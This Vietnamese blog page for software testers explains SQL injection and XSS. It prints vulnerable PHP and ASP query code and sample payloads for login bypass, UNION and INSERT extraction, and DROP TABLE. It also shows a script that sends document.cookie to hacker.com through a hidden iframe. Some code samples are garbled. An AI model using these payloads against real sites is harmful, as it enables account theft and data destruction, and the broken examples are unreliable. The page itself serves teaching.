Hiển thị các bài đăng có nhãn hacker. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn hacker. Hiển thị tất cả bài đăng

Thứ Ba, 18 tháng 11, 2014

Tìm hiểu cơ chế SQL injection tester nên biết

tan-cong-sql-injection

Những lỗi sơ hở trong quá trình build ứng dụng web/ phần mềm, hacker sử dụng lỗi này để lạm dụng các câu truy vấn sql bất hợp pháp để tấn công vào web ứng dụng của chúng ta.

Sẽ hơi mơ hồ nếu như không đi từ lý thuyết thì rất khó hiểu bởi vậy ta đi từ lý thuyết kèm ví dụ minh họa nha.
Sql injection: Bạn học môn hệ quản trị cơ sở dữ liệu sql server, oracle, DB2, mongo,... biết được cú pháp, thao tác select , from, having, group by, where, inner join... thao tác các bảng dữ liệu vớinhau
Sql injection là kỹ thuật cho phép hacker lợi dụng chỗ sơ hở trong việc kiểm tra dữ liệu đầu vào ở ứng dụng web và các notification của hệ quản trị CSDL trả về để inject và thi hành các câu lệnh SQL bất hợp pháp bằng các thao tác delete, insert, update,...
chúng ta hãy để ý đến những lỗi cơ bản thường gặp dưới đây:

1. Không kiểm tra kí tự thoát truy vấn:
Sql injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào trong câu truy vấn SQL. Kết quả là người dùng cuối có thể thực hiện 1 số truy vấn không mong muốn với CSDL:

statement = "SELECT * FROM users
WHERE name = '" + userName+ "' ;"

>>> Câu lệnh trên truy vấn thuôc tính name từ bảng users. Tuy nhiên, nếu biến "userName" được nhập chính xác theo 1 cách nào đó thì người dùng ác ý có thể nhập vào giá trị của biến userName như sau:

" SELECT * FROM users
WHERE name = 'a' OR 't' = 't';"

Đoạn mã trên được sử dụng trong 1 thủ tục xác thực thì VD trên có thể được sử dụng để bắt buộc lựa chọn 1 tên người dùng hợp lệ bới ' t' = 't' luôn đúng. Trong khi hầu hết các SQL server cho phép thực hiện nhiều truy vấn cùng lúc chỉ với 1 lần gọi, nhưng 1 số SQL API mysql_query của PHP lại không cho phép làm điều đó vì lý do bảo mật. Điều này chỉ ngăn cản tin tặc tấn công bằng những câu lệnh riêng rẽ mà không ngăn cản tin tặc tấn công bằng việc thay đổi cú pháp truy vấn.
Ở ví dụ trên cho thấy các giá trị của biến userName sẽ gây ra việc xóa thông tin người dùng từ bảng users cũng tương tự từ việc xóa tất cả dữ liệu từ bảng dữ liệu ( bản chất là tiết lộ thông tin người dùng) . Minh hoạ cụ thể bằng câu truy vấn dưới đây để hiểu rõ được bản chất hơn:

" DROP TABLE users;
 SELECT * FROM data
 WHERE 't' = 't'

Tổng hợp lại toàn bộ câu truy vấn như sau:

DROP TABLE users
SELECT * FROM data 
WHERE 't' = 't';

Như vậy là tin tặc lợi dụng lỗi sơ hở cú pháp truy vấn trên để chỉ việc thay đổi thêm bớt vài lệnh truy vần truyền vào là có thể xâm nhập được hệ thống của chúng ta 1 cách dễ dàng.

Điều thứ 2 liên quan tới SQL injection đó là Xử lý không đúng kiểu.

Do coder định nghĩa dữ liệu đầu vào không rõ ràng hoặc thiếu bước kiểm tra và lọc kiểu dữ liệu đầu vào (ví dụ kiểm tra dữ liệu nhập vào từ user là kiểu số hay chuỗi

state = "SELECT * FROM data WHERE id = "+ a_variable +" ;"

Lệnh state trên cho chúng ta biết rằng cho người dùng nhập vào id dạng số nhưng lại không kiểm tra kiểu nhập vào nên người dùng thay vì nhập số mà nhập vào 1 chuỗi string.
Điều thứ 3 xảy ra là lỗi bảo mật bên trong máy chủ CSDL

Đôi khi lỗ hổng bảo mật nằm ngay chính máy chủ CSDL, VD hàm mysql_real_escape_string() 
hacker có thể thực hiện cuộc tấn công SQL injection thành công dựa trên những ký tự unicode không thông thường ,

lấy 1 sồ VD minh hoạ

$user ="<div> user </div>
$password = "<div> password</div>
 $query = sprintf( "SELECT * FROM users 
WHERE username ='%s' AND password = '%s'")
mysql_real_escape_string($username)
mysql_real_escape_string($password)
echo $query;

 Kết quả in ra sẽ là:
SELECT * FROM users WHERE user = ' ' AND password = ' '

Tiếp đến 1 trường hợp nữa tại form đăng nhập, người dùng nhập tên đăng nhập mà không cần đúng mật khẩu
<?php
$query = "SELECT * FROM users
WHERE username = '{$_POST['username']}' AND password = '{$_POST['password']}'";
mysql_query($query);
$_POST['username'] = ' your's name';
$_POST['password'] = " OR "=";
echo $query;
?>

Câu  lệnh truyền lên server sẽ là:

SELECT * FROM users WHERE username = 'yours name' AND password = " OR "=" 

4. Điều thứ 4 xảy ra là Blind SQL injection
Lỗi SQL injection dạng Blind SQL injection xảy ra ngay trong ứng dụng web, hậu quả của chúng  không hiển thị trực quan cho những kẻ tấn công. Nó có thể gây ra sự sai khác khi hiển thị  nội dung của 1 trang chứa lỗi bảo mật này. Hậu quả của sự tấn công SQL injection dạng Blind SQL injection này khiến cho coder phải mất nhiều time để phục hồi chính xác từng bit dữ liệu. Những kẻ tấn công còn sử dụng 1 số tool tìm dò lỗi và tấn công với những thông tin đã thiết lập sẵn
 Còn rất nhiều các dạng tấn công khác xảy ra khi mà hacker sử dụng kỹ thuật SQL injection và lỗi sơ hở trong các câu truy vấn để đột nhập lấy cắp dữ liệu

Update thêm các dạng tấn công thường gặp với ứng dụng web
1.    Dạng tấn công vượt qua kiểm tra lúc đăng nhập

Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web. Thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp. Ví dụ, trong trường hợp sử dụng ASP, người ta có thể dùng 2 trang: 1 trang HTML để hiển thị Form nhập liệu và 1 trang ASP để xử lý thông tin nhập vào từ phía người dùng như sau:

- Trang nhập liệu: login.htm 
<form action="ExecLogin.asp" method="post"> 
  Username:  <input type="text" name="fUSRNAME"><br /> 
  Password:  <input type="password" name="fPASSWORD"><br /> 
  <input type="submit"> 
</form>
- Trang xử lý nhập liệu: execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")
vPassword = Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("USR_NAME")
End If
Set objRS = Nothing %>
Chỗ sơ hở trong đoạn mã xử lý nhập liệu trên nằm ở chỗ dữ liệu nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh SQL. Chính điều này cho phép tin tặc có thể điều khiển câu truy vấn sẽ được thực hiện. Ví dụ, nếu người dùng nhập chuỗi trong ngoặc sau vào trong cả 2 ô nhập liệu username/password của trang login.htm là:('OR='). Lúc này, câu truy vấn sẽ được gọi thực hiện là:

SELECT * FROM T_USERS WHERE USR_NAME =''OR''='' AND USR_PASSWORD= ''OR''=''
Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ.
2.    Dạng tấn công sử dụng câu lệnh SELECT

Dạng tấn công này phức tạp hơn
 Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. Ví dụ, trong các trang tìm kiếm. Các trang này cho phép người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường gặp là:

    <%
    Dim vAuthorName, objRS, strSQL
    vAuthorName = Request("fAUTHOR_NAME")
    strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME =' " & _ vAuthorName & " ' "
    Set objRS = Server.CreateObject("ADODB.Recordset")
    objRS.Open strSQL, "DSN=..."
    …
    Set objRS = Nothing %> 
Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào trường tên tác giả bằng chuỗi giá trị:

' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*)
Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa. Giả sử đoạn mã nhập vào là:

' DROP TABLE T_AUTHORS --
Câu truy vấn sẽ thực hiện việc xóa bảng.
3.    Dạng tấn công sử dụng câu lệnh INSERT
Ví dụ điển hình nhất ở thao tác đăng ký thông tin người dùng, sau khi đăng ký thành công, người dùng có thể xem thông tin của mình. Ngay lúc này SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào. Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng:

    INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three')
Nếu đoạn mã xây dựng câu lệnh SQL có dạng:

<%
    strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _ & strValueTwo & " ', ' " & strValueThree & " ') "
    Set objRS = Server.CreateObject("ADODB.Recordset")
    objRS.Open strSQL, "DSN=..."
    …
    Set objRS = Nothing %> 
Thì chắc chắn sẽ bị lỗi SQLi, bởi vì nếu ta nhập vào trường thứ nhất ví dụ như:

    ' + (SELECT TOP 1 FieldName FROM TableName) + '
Lúc này câu truy vấn sẽ là:

    INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def')
Khi đó, lúc thực hiện lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa đó là:

 SELECT TOP 1 FieldName FROM TableName 

Trên đây là cơ bản về kỹ thuật SQL injection, là tester chúng ta ít nhiều nên biết về kỹ thuật này để trau dồi kinh nghiệm test cho mình J


Bài viết trên tham khảo tại wiki và 1 số trang công nghệ khác. Bạn đọc thấy thiếu sót chỗ nào phản hồi góp ý với mình nha. Thanks for reading!

Câu hỏi thường gặp khi phỏng vấn tester

Thứ Sáu, 7 tháng 11, 2014

Tìm hiểu kỹ thuật tấn công và phòng chống lỗi XSS (Cross-Site Scripting) trên website

Các kỹ thuật tấn công  website mà hacker thường sử dụng để lấy cắp, phá hỏng dữ liệu trên hệ thống
ngoài sql injection còn có xss (cross - site scripting) và csrf
bạn đọc tìm hiểu kỹ thuật tấn công CSRF tại đây
bài viết này mình trình bày về kỹ thuật tấn công dạng XSS (Cross-Site Scripting) - kỹ thuật này không tấn công vào CSDL hệ thống như  SQL injection mà chúng tấn công trực tiếp từ phía người dùng bằng cách lừa thằng quản trị website =D xâm nhập hệ thống bằng các đoạn mã đơn giản để lấy cắp cookies và session từ đó chúng có thể thao túng người dùng cướp quyền truy cập tài khoản mà không cần tới  mật khẩu.

Cross-site Scripting được phân thành 2 loại lỗi dưới đây
thứ nhất: Lỗi Stored XSS
dạng lỗi XSS mà đoạn mã chèn thêm vào được lưu trữ trên server như trong CSDL dưới dạng các comment bình luận bài viết, các message trong diễn đàn (forum) hoặc các vistor log.
Để hình dung rõ được bạn coi ví dụ sau:

Thay vì nhập những dòng comment trên, ta nhập đoạn mã <script>alert("XSS")</script>
đoạn mã trên được chèn vào mục comment và sẽ thực thi lệnh khi ta chọn submit (send) nội dung. thông điệp đó được chèn vào CSDL hệ thống. Ngoài trường comment, ta có thể thông qua các điểm đầu vào input, form, text area,...mà chèn vào các đoạn mã nguy hiểm đưa vào hệ thống (nhất là form mua hàng, thanh toán,...)
Bạn đọc coi toàn bộ kịch bản tấn công áp dụng kỹ thuật XSS dưới đây để bao quát rõ hơn

Thứ hai là: Reflected XSS
Khác với Stored-XSS, Reflected XSS chèn đoạn mã khai thác thông tin không được lưu trữ trên server
Hình thức tấn công là lợi dụng vào các form search, khi nhập từ khoá vào ô tìm kiếm mà không hiển thị kết quả tìm kiếm, ta nhập 1 đoạn mã tại trường này có dạng "Tên đường dẫn url website cần xâm nhập/xss/reflected/index.php?q=<script>alert("XSS")</script>". Chỗ đường dẫn này tuỳ vào mã nguồn hệ thống (website) để điền cho phù hợp
Đường dẫn trên chỉ chạy trên url người dùng chứ không lưu vào hệ CSDL, và người dùng bị tấn công khi chạy trên url đó mà thôi.
Kịch bản điển hình nhất khi khai thác XSS là ta = chèn đoạn javascript như sau vào website:
1<script type="text/javascript">
2document.write("<iframe width=0 height=0
3src=http://hacker.com/getcookie.php?cookie=",
4document.cookie,">");
5</script>
Một iframe với kích thước 0×0 được chèn vào trang web và sẽ tự động load trang lấy cookie của hacker tại địa chỉ http://hacker.com/getcookie.php. Khi có được cookie,ta  có thể dễ dàng đăng nhập mà không cần biết mật khẩu của người dùng.

Tổng quát lại:
Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong quá trình tấn công.
  • Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhân truy cập vào URL của mình. Còn Stored XSS không cần phải thực hiện việc này, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng, hacker chỉ việc ngồi chờ nạn nhân tự động truy cập vào. Với nạn nhân, việc này là hoàn toàn bình thường vì họ không hề hay biết dữ liệu mình truy cập đã bị nhiễm độc.
  • Thứ 2, mục tiêu của hacker sẽ dễ dàng đạt được hơn nếu tại thời điểm tấn công nạn nhân vẫn trong phiên làm việc(session) của ứng dụng web. Với Reflected XSS, hacker có thể thuyết phục hay lừa nạn nhân đăng nhập rồi truy cập đến URL mà hắn ta cung cấp để thực thi mã độc. Nhưng Stored XSS thì khác, vì mã độc đã được lưu trong CSDL Web nên bất cứ khi nào người dùng truy cập các chức năng liên quan thì mã độc sẽ được thực thi, và nhiều khả năng là những chức năng này yêu cầu phải xác thực(đăng nhập) trước nên hiển nhiên trong thời gian này người dùng vẫn đang trong phiên làm việc.

Từ những điều này có thể thấy Stored XSS nguy hiểm hơn Reflected XSS rất nhiều, đối tượng bị ảnh hưởng có thế là tất cả nhưng người sử dụng ứng dụng web đó. Và nếu nạn nhân có vai trò quản trị thì còn có nguy cơ bị chiếm quyền điều khiển web.